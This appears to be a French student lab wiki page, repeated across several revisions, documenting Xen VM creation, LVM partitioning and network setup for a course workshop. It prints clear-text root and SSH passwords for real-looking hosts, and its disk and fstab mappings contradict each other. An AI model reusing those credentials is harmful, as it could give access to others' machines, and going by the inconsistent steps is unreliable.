'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.177/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

Atelier SysRes SE4 2025/2026 E5

2026-01-26T08:11:41Z

Cpayet : /* XEN */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====

Puis on redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.177/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

Atelier SysRes SE4 2025/2026 E5

2026-01-26T07:40:06Z

Cpayet : /* Nos résultats : */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe : g0llum_fr0d0

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)
SSH Fingerprint : SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)
SSH Fingerprint : SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)
SSH Fingerprint : SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)
Root Password : FDigbGcTyh86QnvLWyT8wh3
</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====
On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

Puis on redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.3/24
gateway 172.60.0.1
</syntaxhighlight>

* 172.60.0.3 est l'adresse IP de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :<syntaxhighlight lang="shell">
auto eth0
iface eth0 inet static
address 172.60.0.1/24

auto eth1
iface eth1 inet static
address 193.48.57.177/24
gateway 193.48.57.161
iface eth1 inet6 auto
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds